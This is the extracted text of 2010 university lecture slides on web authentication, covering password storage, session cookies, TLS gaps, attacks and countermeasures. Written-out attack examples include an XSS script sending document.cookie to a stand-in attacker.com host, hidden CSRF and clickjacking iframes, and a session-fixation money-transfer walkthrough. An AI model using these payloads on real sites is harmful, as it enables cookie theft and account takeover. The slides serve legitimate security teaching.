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The web was not designed with authentication in mind
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The web was not designed with authentication in mind
GET / HTTP/1.1
Host: www.cl.cam.ac.uk

128.28.2.138 −→ www.cl.cam.ac.uk

HTTP/1.1 200 OK
Content length: 7661
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
...

128.28.2.138←− www.cl.cam.ac.uk
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Authentication is used for many purposes

Persistent online identities
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Authentication is used for many purposes

Online linking to offline identity
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Authentication is used for many purposes

Customising online preferences
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Authentication is used for many purposes
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Many requirements for “perfect” authentication

1 Secure
1 Criminals (may know target)
2 Malware
3 Rogue servers
4 Phishers

2 Low cost
1 Easy for users
2 Cheap for servers
3 Easy to implement
4 Widely compatible

3 Privacy-enabling
1 Users choose to reveal identity
2 Easy to create new identities
3 Malicious sites get no information

4 Legal
1 non-repudiable (sometimes)
2 tracable (sometimes)
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Password enrolment

Wall Street Journal, 1996

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 5 / 42



Password enrolment

Wall Street Journal, 2010
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Password enrolment
<form method="post" action="user_enrol.cgi">

Create a username:
<input type="text" name="user"/> <br/>

Choose password:
<input type="password" name="pass"/> <br/>

<input type="submit" name="submit" />

</form>
128.28.2.138←− http://www.example.com/
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Password enrolment
POST user_enrol.cgi HTTP/1.1
Host: www.example.com
Content-Type: application/
x-www-form-urlencoded
Content-Length: 30

user=jcb82&pass=qwerty

128.28.2.138 −→ http://www.example.com/
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Password enrolment

POST user_enrol.cgi HTTP/1.1
Host: www.example.com
Content-Type: application/
x-www-form-urlencoded
Content-Length: 30

user=jcb82&pass=qwerty

128.28.2.138 −→ https://www.example.com/
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Password storage

USER PASS
jcb82 qwerty
rja14 d5bf"_)*(&()"$
mgk25 i_love_fourier
... ...
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Password storage

USER PASS_HASH
jcb82 13e874694bc9
rja14 ddd87e9f571a
mgk25 5b72fba97e14
... ...

PASS_HASHi = SHA-256(passwordi)
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Password storage

USER SALTED_HASH SALT
jcb82 cfea9edfe0bd... 0cb9...
rja14 9883078e2953... 1f13...
mgk25 a6b02ced143e... b168...
... ... ...

salti = random[0 : 64]

SALTED_HASHi = SHA-256(passwordi ||salti)
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Login

POST login.php HTTP/1.1
Host: www.example.com
Content-Type: application/
x-www-form-urlencoded
Content-Length: 34

name=jcb82&pass=qwerty

128.28.2.138 −→ https://www.example.com
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Login

HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=821183;
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=f0eb6a1bdff...
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Content-Length: 0

128.28.2.138←− https://www.example.com
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Login
GET /main.html HTTP/1.1
Host: www.example.com
Cookie: user_id=821183; auth=f0eb6a1bdff...

128.28.2.138 −→ http://www.example.com
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Logout
POST logout.php HTTP/1.1
Host: www.example.com
Content-Type: application/
x-www-form-urlencoded
Content-Length: 0

128.28.2.138 −→ www.example.com
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Logout
HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=0; path=/;
Set-Cookie: auth=0 path=/;
Content-Length: 0

128.28.2.138←− www.example.com
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Update
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Recovery
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Recovery

Hi jbonneau,

Someone requested that your Last.fm password be
reset. If this wasn’t you, there’s nothing to
worry about - simply ignore this email and nothing
will change.

If you DID ask to reset the password on your
Last.fm account, just click here to make it happen:
http://www.last.fm/?id=<userid>
&key=<authentication-token>

Best Regards,
The Last.fm Team
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Talk outline
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2 What’s done in practice
3 What goes wrong

1 Technical failures (false authentication)
2 User interface failures
3 Human memory failures
4 Economic failures
5 Technical failures (unintended authentication)

4 Can we do better?
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Plaintext passwords sent over SMTP

Dear Joseph Bonneau,

You requested us to send you your EasyChair login
information. Please use the following data to log in to
EasyChair:

User name: jbonneau
Password: qwerty

Best regards,
EasyChair Messenger.

Password recovery, EasyChair
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Insecure at-rest storage of passwords

29-50% of sites store passwords in the clear
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Insecure at-rest storage of passwords

RockYou SQL injection hack
January 2010
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Incomplete TLS deployment
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Incomplete TLS deployment

Password sniffing
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Incomplete TLS deployment
<form method="post"
action="https://www.example.com/user_login.cgi">

Username:
<input type="text" name="user" /> <br />

Password:
<input type="password" name="pass" /> <br />

<input type="submit" name="submit" />

</form>
Post-only TLS deployment
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Incomplete TLS deployment

TLS Deployment I E C Tot.

Full 0.07 0.26 0.07 0.39
Full/POST 0.02 0.01 0.01 0.03
Inconsistent 0.09 0.04 0.03 0.17
None 0.15 0.03 0.23 0.41
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Cookie theft post-TLS

Wireshark

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 15 / 42



Cookie theft post-TLS

Firesheep
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Cookie stealing via cross-site scripting
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Cookie stealing via cross-site scripting

Your submission will reference:<br/>
http:www.espn.com/college-football

http://dynamic.espn.go.com/bugs?
url=http:www.espn.com/college-football
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Cookie stealing via cross-site scripting

Your submission will reference:<br/>
<script>
document.location =
"http://www.attacker.com/cookie-log.cgi?"
+ document.cookie
</script>

http://dynamic.espn.go.com/bugs?
url=%3Cscript%3E%0Adocument.location

+%3D%0A%22http%3A//www.attacker.com/cookie-
log.cgi%3F%22%0A%2B+document.cookie%0A%3C/script%3E
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Session fixation

SID UID Other data

b3e9... rja14 ...

Server memory

GET / HTTP/1.1
Host: www.example.com

128.28.2.138 −→ www.example.com
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Session fixation

SID UID Other data

b3e9... rja14 ...
da4b... ∅ ...

Server memory

HTTP/1.1 200 OK
Content length: 7661
Content-Type: text/html
Set-Cookie: SID=da4b...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
...

128.28.2.138←− www.example.com
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Session fixation

SID UID Other data

b3e9... rja14 ...
da4b... mgk25 ...

Server memory

POST login.cgi HTTP/1.1
Host: www.example.com
Content-Type: application/
x-www-form-urlencoded
Cookie: SID=da4b...
Content-Length: 32

user=mgk25&pass=i_love_fourier

128.28.2.138 −→ www.example.com
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Session fixation

SID UID Other data

b3e9... rja14 ...
da4b... mgk25 ...
33c4... ∅ ...

Server memory

HTTP/1.1 200 OK
Content length: 7661
Content-Type: text/html
Set-Cookie: SID=33c4...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
...

attacker←− www.example.com
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Session fixation

SID UID Other data

b3e9... rja14 ...
da4b... mgk25 ...
33c4... ∅ ...

Server memory

Hey man!

Check this video out:
http://www.example.com/?SID=33c4...

attacker −→ jcb82@cl.cam.ac.uk
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Session fixation

SID UID Other data

b3e9... rja14 ...
da4b... mgk25 ...
33c4... ∅ ...

Server memory

GET /?SID=33c4... HTTP/1.1
Host: www.example.com

128.28.2.138 −→ www.example.com
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Session fixation

SID UID Other data

b3e9... rja14 ...
da4b... mgk25 ...
33c4... ∅ ...

Server memory

HTTP/1.1 200 OK
Content length: 7661
Content-Type: text/html
Set-Cookie: SID=33c4...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
...

128.28.2.138←− www.example.com
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Session fixation

SID UID Other data

b3e9... rja14 ...
da4b... mgk25 ...
33c4... jcb82 ...

Server memory

POST login.cgi HTTP/1.1
Host: www.example.com
Content-Type: application/
x-www-form-urlencoded
Cookie: SID=33c4...
Content-Length: 22

user=jcb82&pass=qwerty

128.28.2.138 −→ www.example.com
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Session fixation

SID UID Other data

b3e9... rja14 ...
da4b... mgk25 ...
33c4... jcb82 ...

Server memory

POST transfer_money.cgi HTTP/1.1
Host: bank.example.com
Content-Type: application/
x-www-form-urlencoded
Cookie: SID=33c4...
Content-Length: 22

transfer_amount=10000&transfer_target=attacker

attacker −→ www.example.com
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Weak cookies

SID UID Other data

3943412586 rja14 ...
3943412587 mgk25 ...
3943412588 jcb82 ...

... ... ...

Predictable session identifiers
Misuse of cryptography
Improper field delimitation

Fu et al., 2001
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Weak cookies

SID UID Other data

2010-11-15T12:06:43 rja14 ...
2010-11-15T12:07:38 mgk25 ...
2010-11-15T12:08:11 jcb82 ...

... ... ...

Predictable session identifiers
Misuse of cryptography
Improper field delimitation

Fu et al., 2001
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Weak cookies

SID UID Other data

H(2010-11-15T12:06:43) rja14 ...
H(2010-11-15T12:07:38) mgk25 ...
H(2010-11-15T12:08:11) jcb82 ...

... ... ...

Predictable session identifiers
Misuse of cryptography
Improper field delimitation

Fu et al., 2001
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Weak cookies

COOKIEi = i ||crypt(i ||Kdaily)

Predictable session identifiers
Misuse of cryptography
Improper field delimitation

Fu et al., 2001
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Weak cookies

COOKIEi = i ||crypt(i ||Kdaily)

COOKIEjbonneau = jbonneau7c19f550a775b614
COOKIEjbonneau1 = jbonneau17c19f550a775b614

Predictable session identifiers
Misuse of cryptography
Improper field delimitation

Fu et al., 2001
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Weak cookies

COOKIEi = i ||crypt(i ||Kdaily)

COOKIEjbonnea = jbonneac6ceb34c403d1f6d
COOKIEjbonneaN = jbonneaNc6ceb34c403d1f6d

COOKIEj = j938c00d2f12c73a4
COOKIEjNov201999 = jNov201999938c00d2f12c73a4

Predictable session identifiers
Misuse of cryptography
Improper field delimitation

Fu et al., 2001
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Weak cookies

COOKIEi = i ||t ||MACk(i ||t)

Predictable session identifiers
Misuse of cryptography
Improper field delimitation

Fu et al., 2001
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Weak cookies

COOKIEi = i ||t ||MACk(i ||t)
COOKIEjcb82(1-Dec-2010)

=
jcb821-Dec-20105ca57512f4db8fd18254adce9b8ef438

=
COOKIEjcb8(21-Dec-2010)

Predictable session identifiers
Misuse of cryptography
Improper field delimitation

Fu et al., 2001
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Cross-site request forgery

<iframe name="csrf"
width="0" height="0" frameborder="0"
src="http://bank.example.com/transfer?
&amount=1000000&to=attacker">
</iframe>
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Cross-site request forgery

<iframe name="csrf"
width="0" height="0" frameborder="0"
src="http://twitter.com/share/update?
status=i%20got%20pwned">
</iframe>
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Clickjacking

http://www.facebook.com/connect/uiserver.php?app_id=102452128776
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Clickjacking

<iframe name="csrf"
width="0" height="0" frameborder="0"
src="http://www.facebook.com/connect/
uiserver.php?app_id=102452128776"

style="opacity: 0; filter: alpha(opacity=0);
position: absolute;top: -170px;left: -418px;">
</iframe>

<img src="clickjacking_bait.jpg">
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Clickjacking
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Clickjacking

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 20 / 42



Talk outline

1 What are we trying to achieve?
2 What’s done in practice
3 What goes wrong

1 Technical failures (false authentication)
2 User interface failures
3 Human memory failures
4 Economic failures
5 Technical failures (unintended authentication)

4 Can we do better?
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No trusted path between users and browser

(a) Hand tracking analysis. Rectangles identify regions in movement. Black rectangles are used for

movements in the hands regions, grey rectangles for keys, white rectangles for regions where both hand

and key movement happens. These rectangles identify likely key pressings.

(b) Key pressing analysis. Using occlusion-based techniques, the analysis determines keys that are not

pressed, which are represented by the dark polygons.

Figure 2. Computer vision analysis.

set of candidate letters provided by the video analysis.

This task has many similarities with the traditional prob-

lem of spelling correction, initially formulated by De-

merau [11] in 1964. The problem can be expressed as

follows: given a language L and an unknown word s,
find a word w ∈ L that maximizes P (w|s). This prob-

ability can be rewritten applying the Bayes’ theorem in

P (s|w)P (w)/P (s). The constant denominator can be ig-

nored, thus reducing the problem of spelling correction to

the problem of finding the word that provides the best com-

bined probability between the following two factors:

• P (s|w), known as the error model. It expresses the

probability that a user erroneously typed the string s
instead of the correct word w. For example, if the

user wanted to type the word table, it is reasonably

more probable that he/she erroneously wrote the string

tabel than the string xavel.

• P (w), known as the source or languagemodel. It mod-

els the probability that the word w appears in text writ-

ten in a certain language. In other words, it is used to

express the fact that, for example, it is more probable

that a user typed hammer than hamper, even though

they are both correctly spelled.

The first example of a error model was proposed by De-

merau and Levenshtein [28] and was based on a measure

of the distance between two strings, also known as edit dis-

tance. The edit distance consists of the minimum number

of single character insertions, substitutions, deletions, and

transpositions that are required to derive one word from the

other. For example, hello has edit distance 1 from helo

(one insert operation) and 2 from elol (one insert and one

transpose operations).

This first error model has been subsequently refined and

improved, for example by associating probabilities with in-

dividual edit operations, applying different operations de-

pending on the surrounding letters, and extending the edit

operations to sequences of multiple characters [8, 10, 32].

174

Balzarotti et al. 2008
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No trusted path between users and browser

Hardware keylogger, US$36
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No trusted path between users and browser

Software keylogger, US$49.50
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No trusted path between users and browser

Phishing (Firefox)
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5 Technical failures (unintended authentication)

4 Can we do better?
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Brute-force attacks
123456
12345

123456789
password
iloveyou
princess
1234567
rockyou

12345678
abc123
nicole
daniel

babygirl
monkey
lovely
jessica
654321
michael
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Brute-force attacks

Rate limiting (Truthdig)
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Brute-force attacks

Forced reset (Cafe Press)
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Brute-force attacks

CAPTCHA restrictions (Wikipedia)
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Brute-force attacks

countermeasure I E C Tot.

CAPTCHA 0.07 0.01 0.01 0.09
timeout 0.01 0.01 0.01 0.03
reset 0.01 0.02 0.01 0.03
none 0.25 0.29 0.31 0.84
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Brute-force attacks

limit I E C Tot.

3 0.02 0.00 0.00 0.02
4 0.01 0.01 0.00 0.01
5 0.02 0.01 0.03 0.06
6 0.01 0.01 0.00 0.03
7 0.01 0.00 0.00 0.01
10 0.01 0.00 0.00 0.01
15 0.01 0.00 0.00 0.01
20 0.00 0.01 0.00 0.01
25 0.01 0.00 0.00 0.01

> 100 0.25 0.29 0.31 0.84
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Brute-force attacks
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Password [RockYou]

Password [Klein]

Password [Spafford]

Password [Schneier]
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Personal knowledge questions

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 25 / 42



Personal knowledge questions

Web search
Used against Sarah Palin in 2008

Public records
Griffith et. al: 30% of individual’s mother’s maiden names

Social engineering
Dumpster diving, burglary
Acquaintance attacks

Schecter et. al: ∼ 25% of questions guessed by friends, family
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Personal knowledge questions

70% of answers are proper names (Just et al. 2008)
25% surname
10% forename
15% pet name
20% place name

Most others are trivially insecure
What is my favourite colour?
What is the worst day of the week?
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Personal knowledge questions

0.0 0.2 0.4 0.6 0.8 1.0
success rate α
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Password [RockYou]

Password [Klein]

Password [Spafford]

Password [Schneier]

Personal knowledge worse than passwords (Bonneau et al. 2010)
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Talk outline

1 What are we trying to achieve?
2 What’s done in practice
3 What goes wrong

1 Technical failures (false authentication)
2 User interface failures
3 Human memory failures
4 Economic failures
5 Technical failures (unintended authentication)

4 Can we do better?
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Systemic trends in web authentication
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All sites collect passwords
All sites utilise email infrastructure

Naming
Liveness checks
Password recovery
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Systemic trends in web authentication

All sites collect passwords
All sites utilise email infrastructure

Naming
Liveness checks
Password recovery
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Economic models

Password over-collection is a tragedy of the commons
Password insecurity is a negative externality
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Economic models

Password over-collection is a tragedy of the commons
Password insecurity is a negative externality

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 28 / 42



Consequences

0 100 200 300 400 500
Traffic rank

0.0

0.2

0.4

0.6

0.8

1.0

P
ro

p
or

ti
on

of
si

te
s

co
ll
ec

ti
n

g
p

as
sw

or
d

s

Users overwhelmed by password burden
Average person has > 25 accounts (Flôrencio et al., 2007)

Users forced to re-use passwords across security contexts
Cross-site password compromise increasing

Email accounts becoming powerful credentials

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 29 / 42



Consequences

0

10

1E-2 1E-1 1E+0 1E+1 1E+2 1E+3 1E+4 1E+5

p
as

sw
o

rd
 s

co
re

page views per million

E-commerce News/Customization User interaction

Users overwhelmed by password burden
Average person has > 25 accounts (Flôrencio et al., 2007)

Users forced to re-use passwords across security contexts
Cross-site password compromise increasing

Email accounts becoming powerful credentials

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 29 / 42



Consequences

Users overwhelmed by password burden
Average person has > 25 accounts (Flôrencio et al., 2007)

Users forced to re-use passwords across security contexts
Cross-site password compromise increasing

Email accounts becoming powerful credentials

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 29 / 42



Consequences

Users overwhelmed by password burden
Average person has > 25 accounts (Flôrencio et al., 2007)

Users forced to re-use passwords across security contexts
Cross-site password compromise increasing

Email accounts becoming powerful credentials

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 29 / 42



Talk outline

1 What are we trying to achieve?
2 What’s done in practice
3 What goes wrong

1 Technical failures (false authentication)
2 User interface failures
3 Human memory failures
4 Economic failures
5 Technical failures (unintended authentication)

4 Can we do better?
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Implicit identifiers
SRC: 128.232.8.168
DST: 128.232.0.20
...

1 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Implicit identifiers
GET / HTTP/1.1
Host: www.cl.cam.ac.uk
User-Agent: Mozilla/5.0 (X11; U; Linux i686;
en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/9.10
(karmic) Firefox/3.6.12
Accept: text/html, application/xhtml+xml,
application/xml; q=0.9,*/*
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;

1 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Implicit identifiers
GET / HTTP/1.1
Host: www.cl.cam.ac.uk
Referer: http://www.bing.com/search?
q=what%27s+the+best+university

1 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Implicit identifiers
GET / HTTP/1.1
Host: www.cl.cam.ac.uk
Referer: http://www.facebook.com/profile.php?
id=1511359465

1 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Implicit identifiers
//detect screen resolution
x = screen.width; y = screen.height;

//detect plugins
q = navigator.mimeTypes["video/quicktime"];
j = navigator.javaEnabled();

//detect time zone
tz = (new Date()).getTimezoneOffset();

1 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Implicit identifiers

1 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Implicit identifiers
# Send users to my detector...
<iframe name="detector"
width="0" height="0" frameborder="0"
src="https://docs.google.com/document/d/
1TUV9x1lFAQcVWvhP4EAHQZIPrVmo3_vrz5Sz8Wo">
</iframe>

Narayanan 2009

1 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Implicit identifiers

Narayanan 2009
1 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Implicit identifiers
<img id="test" style="display:none">

<script>
test = document.getElementById(’test’);
var start = new Date();
test.onerror = function()
{ time = new Date() - start;}

test.src = "http://www.example.com/";
</script>

Bortz et al. 20071 IP address
2 HTTP headers
3 HTTP referer
4 Javascript runtime (also Flash, Java, Silverlight ...)
5 Cross-site de-anonymisation
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Talk outline

1 What are we trying to achieve?
2 What’s done in practice
3 What goes wrong
4 Can we do better?
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Password alternatives

Mitigates: Guessing attacks, phishing?, malware
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Password alternatives

Mitigates: Brute-force attacks?, trawling attacks?
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Password alternatives

0.0 0.2 0.4 0.6 0.8 1.0
success rate α

0

5

10

15

20

25

30

35

40
m

ar
gi

n
al

gu
es

sw
or

k
µ̃
α

Forename

Surname

Password [RockYou]

Password [Klein]

Password [Spafford]

Password [Schneier]

Mnemonic [Kuo]

Pass-Go

PassPoints

Passfaces

J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 33 / 42



Better password choices

Microsoft password advice

Mitigates: Password guessing
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Better password choices

To construct a good password, create a simple sentence of 8
words and choose letters from the words to make up a password.

You might take the initial or final letters; you should put some
letters in upper case to make the password harder to guess; and at
least one number and/or special character should be inserted as

well. Use this method to generate a password of 7 or 8 characters.

Yan et al. 2004

Mitigates: Password guessing
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Better password choices
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Better password choices

Mitigates: Password guessing
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Better password choices
twttr.BANNED_PASSWORDS = [ "000000", "111111", "11111111", "112233", "121212",

"123123", "123456", "1234567", "12345678", "123456789", "131313", "232323", "654321",

"666666", "696969", "777777", "7777777", "8675309", "987654", "aaaaaa", "abc123",

"abc123", "abcdef", "abgrtyu", "access", "access14", "action", "albert", "alberto",

"alexis", "alejandra", "alejandro", "amanda", "amateur", "america", "andrea",

"andrew", "angela", "angels", "animal", "anthony", "apollo", "apples", "arsenal",

"arthur", "asdfgh", "asdfgh", "ashley", "asshole", "august", "austin", "badboy",

"bailey", "banana", "barney", "baseball", "batman", "beatriz", "beaver", "beavis",

"bigcock", "bigdaddy", "bigdick", "bigdog", "bigtits", "birdie", "bitches", "biteme",

"blazer", "blonde", "blondes", "blowjob", "blowme", "bond007", "bonita", "bonnie",

"booboo", "booger", "boomer", "boston", "brandon", "brandy", "braves", "brazil",

"bronco", "broncos", "bulldog", "buster", "butter", "butthead", "calvin", "camaro",

"cameron", "canada", "captain", "carlos", "carter", "casper", "charles", "charlie",

"cheese", "chelsea", "chester", "chicago", "chicken", "cocacola", "coffee",

...

"tequiero", "taylor", "tennis", "teresa", "tester", "testing", "theman", "thomas",

"thunder", "thx1138", "tiffany", "tigers", "tigger", "tomcat", "topgun", "toyota",

"travis", "trouble", "trustno1", "tucker", "turtle", "twitter", "united", "vagina",

"victor", "victoria", "viking", "voodoo", "voyager", "walter", "warrior", "welcome",

"whatever", "william", "willie", "wilson", "winner", "winston", "winter", "wizard",

"xavier", "xxxxxx", "xxxxxxxx", "yamaha", "yankee", "yankees", "yellow", "zxcvbn",

"zxcvbnm", "zzzzzz"];

Twitter banned password list

Mitigates: Password guessing
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Better password choices
diceware 166651565315653563223561665224
1 6 6 6 5 cleft
1 5 6 5 3 cam
5 6 3 2 2 synod
3 5 6 1 6 lacy
6 5 2 2 4 yr
password = cleftcamsynodlacyyr

Diceware

Mitigates: Password guessing
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Better password choices

More can be less...
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Password managers

Chrome password manager

Mitigates: password recovery, weak passwords?
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Password managers

PasswordManager ProTM

Mitigates: password recovery, weak passwords?
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Password managers

PwdHash (Firefox extension)

Mitigates: password recovery, weak passwords, pass-
word re-use, cross-site password compromise
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Password managers

PwdHash (remote interface)

Mitigates: password recovery, weak passwords, pass-
word re-use, cross-site password compromise
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Better backup authentication

Mitigates: Question guessing, email as failure point
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Better backup authentication

Figure 2. Trustee-authentication email. This email contains a link that
identifies the trustee to our website.

discourage trustees from responding to requests for account-
recovery codes that arrive via email or text messages (they
are easy to spoof), we also discourage account holders from
contacting their trustees using these channels.

We were not sure how many account-recovery codes should
be required to authenticate an account holder. We configured
the system to require a threshold of three codes so that we
could measure the time required to obtain both the second
and third code. To obtain an account-recovery code, a trustee
must perform four steps.

Initiation
When the trustee first visits the account recovery system, she
is asked to enter her email address and the address of the
account holder she is assisting (Figure 1).

Trustee-authentication email
Next, the trustee receives an email from the account recovery
system (Figure 2). If she is indeed a trustee for the specified
account holder, the system creates a record to track the re-
quest and the email sent to the trustee will contain a code
pointing to this record. The trustee copies this link into her
browser’s address bar to continue.

This emailed link and code are all that are required to prove
the trustee’s identity and retrieve the account-recovery code.
An attacker who could convince a trustee to forward the
email would be able to retrieve the code. Two countermea-
sures against this attack are the email’s subject, which begins
with “**FOR YOU ONLY**”, and the message body, which
begins with a conspicuous warning “do not forward any part
of this email to anyone” (see Figure 2).

Figure 3. Query of intent. The trustee is asked to report why she is
requesting an account-recovery code.

Query of intent
When the trustee pastes the link from the trustee-authentication
email into her browser, she is asked to explain why she is re-
questing an account-recovery code by choosing from a set of
options, illustrated in Figure 3. These options may convey
that she has heard from the account holder personally or that
she is responding to a request from a third party.

The options that indicate the highest risk of fraud are listed at
the top in order to maximize the chance that the trustee will
read them before making a choice. If the trustee chooses
either of the top two options, she encounters a warning page
that describes telltale signs of fraud and encourages her to
contact the account holder by phone or in person. She is,
however, given the option to disregard these warnings and
continue.

Pledge
Finally, the trustee is asked to pledge to her previous answer
and to her understanding of the potential consequences of
giving an account-recovery code to someone other than the
account holder. This pledge requires her to type her name,
as provided by the account holder, and to press a button that
says “I promise the above pledge is true”. For example, if
a trustee reports receiving a request from the account holder
via voicemail, she would be asked to pledge that she will
only provide a code after she reaches him “in person”, as
illustrated in Figure 4.

After the trustee has signed the pledge, the system presents
the six character account-recovery code. If this is the first
account-recovery code requested for this account holder, the
system will then email the remaining trustees to notify them
of the event and encourage them to call the account holder.
To further protect against attack, the account holder will be
notified whenever he next logs in (or if he is already online).
If an attack were underway, a call from his trustees would
alert the account holder to login and halt the recovery pro-
cess before the attacker can complete it.

Schecther et al. 2008

Mitigates: Question guessing, email as failure point
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Better backup authentication
Alternative backup-authentication mechanisms
The ubiquity of mobile phones has made them an attractive
option for backup authentication. Banks, such as by Aus-
tralia’s CommonwealthBank [4], already send SMS mes-
sages containing authorization codes to supplement primary
authentication for high-risk transactions. However, authen-
ticating users by their mobile phone alone is risky as phones
are frequently shared or lost—an estimated 60, 000 are lost
each year in New York City cabs alone[5].

Some websites offer last-resort authentication through their
customer-support departments. However, introducing hu-
man customer support teams may not provide a strong ad-
vantage over automated systems, as information used by sup-
port staff to authenticate an account holder may be no bet-
ter than the information available to the automated systems.
For example, Google’s technical support form for password
recovery captures the IP address from which requests take
place. Users are asked for their account creation date, last
login date, and the last passwords they remember [6]. Alas,
last login dates have a tight distribution (most are recent) and
only the newest of users are likely to remember their account
creation date. Microsoft’s form asks for the names of Hot-
mail folders and contacts [8]. This information could be read
over users’ shoulders. Furthermore, many users are unaware
this information is used for authentication and would thus
not know to withhold it should anyone ask.

Trustee-based authentication
The concept of shifting the responsibility to authenticate an
individual from one party to another is not new. Authenticat-
ing users via an alternate email address shifts the responsibil-
ity to authenticate to the provider of that alternate address. In
organizations, the responsibility to authenticate a user who
fails primary authentication is often shifted to system admin-
istrators, corporate security, or other support staff. Microsoft
has long employed a form of trustee-based account recovery
for its own employees: if an employee forgets her account
credentials, her manager or coworkers can request a tempo-
rary password on her behalf.

In 2006, Brainard et al. of RSA proposed a two-factor pri-
mary authentication system (PIN and token) for enterprise
use in which a user who lost her token could receive help
from a pre-selected trustee they called a “helper” [1]. In
their system, the trustee authenticates using her two factors
in order to generate a “vouchcode” that substitutes for the
account holder’s lost token. To our knowledge, no usability
results have been made available.

Whereas RSA’s system is designed for primary authentica-
tion, ours is designed for last-resort authentication. We can-
not assume that our users can contact a system administrator
when all else fails. Whereas RSA’s system requires users to
select a helper (trustee) who has an account on the same sys-
tem, ours requires only that trustees have email addresses.

Figure 1. Initiation. Trustees enter their email address and the address
of the account holder.

ACCOUNT RECOVERY VIA SOCIAL AUTHENTICATION
We designed, built, and deployed an account recovery (pass-
word reset) mechanism employing social authentication, in
which users could authenticate by obtaining account-recovery
codes from three of four previously selected trustees. We de-
ployed the system at recover.live.com where it was
made to appear as a fully functional feature—though mem-
bers of the public could not sign up to use the system for
their own accounts.

The primary threat to a social authentication system is that
an attacker – someone other than the account holder – will
convince or trick the account holder’s trustees to vouch that
the attacker is the account holder. That is, the attacker would
request and receive the information required to obtain an
account-recovery code. The attacker might do this by im-
personating the victim or by convincing the trustee that he
or she is acting on behalf of the victim.

In this section we provide an overview of the system, user
experience, and countermeasures to defend against attacks.

Configuration
Our social authentication mechanism required that users pro-
vide the names and email addresses of four trustees in ad-
vance of use. We did not test the configuration step as part
of this study. We also chose not to inform trustees of their se-
lection: we feared this might lead them to ask account hold-
ers about the system, learn it was a prototype, and thereby
change their security behavior.

Recovery
When an account holder needs to recover his1 account, he
must obtain account-recovery codes from his trustees. Ac-
count holders instruct their trustees to visit the account-recovery
system at recover.live.com. We encourage account
holders to call or visit their trustees in person. Because we
1For clarity, we use masculine pronouns for the account holder and
feminine pronouns for trustees.

Schecther et al. 2008

Mitigates: Question guessing, email as failure point
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Better backup authentication

Mitigates: Question guessing, email as failure point
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Better backup authentication

Mitigates: Account takeover
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Better cookie semantics
HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=821183;
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=f0eb6a1bdff...
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
httponly;
Content-Length: 0

128.28.2.138←− https://www.example.com

Mitigates: cross-site scripting
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Better cookie semantics

HTTP/1.1 302 Moved Temporarily
Host: www.example.com
Location: http://www.example.com/main
Set-Cookie: user_id=821183;
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
Set-Cookie: auth=f0eb6a1bdff...
expires=Sat, 11-Dec-2010 15:48:38 GMT; path=/;
secure;
Content-Length: 0

128.28.2.138←− https://www.example.com

Mitigates: post-TLS cookie stealing
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Designed login protocols
GET / HTTP/1.1
Host: www.example.com

128.28.2.138 −→ www.example.com

HTTP/1.1 401 Authorization Required
Content length: 7661
Content-Type: text/html
WWW-Authenticate: Basic realm="example.com"

128.28.2.138←− www.example.com

HTTP basic access authentication

Mitigates: cookie theft
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Designed login protocols

HTTP basic access authentication
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Designed login protocols
GET / HTTP/1.1
Host: www.example.com
Authorization: Basic amNiODI6bmljZXRyeQ==

128.28.2.138 −→ www.example.com

auth = encodebase64(user||pass)

HTTP basic access authentication

Mitigates: cookie theft
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Designed login protocols
GET / HTTP/1.1
Host: www.example.com

128.28.2.138 −→ www.example.com

HTTP/1.1 401 Authorization Required
Content length: 7661
Content-Type: text/html
WWW-Authenticate: Digest
realm="example.com" qop="auth,auth-int",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093"

128.28.2.138←− www.example.com

HTTP digest access authentication

Mitigates: password sniffing, database compromise
J. Bonneau (U. of Cambridge) User authentication on the web November 17, 2010 38 / 42



Designed login protocols
GET / HTTP/1.1
Host: www.example.com
Authorization: Digest username="jcb82",
realm="www.example.com",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
cnonce="0a4f113b", nc=00000001,
qop=auth, uri="/dir/index.html",
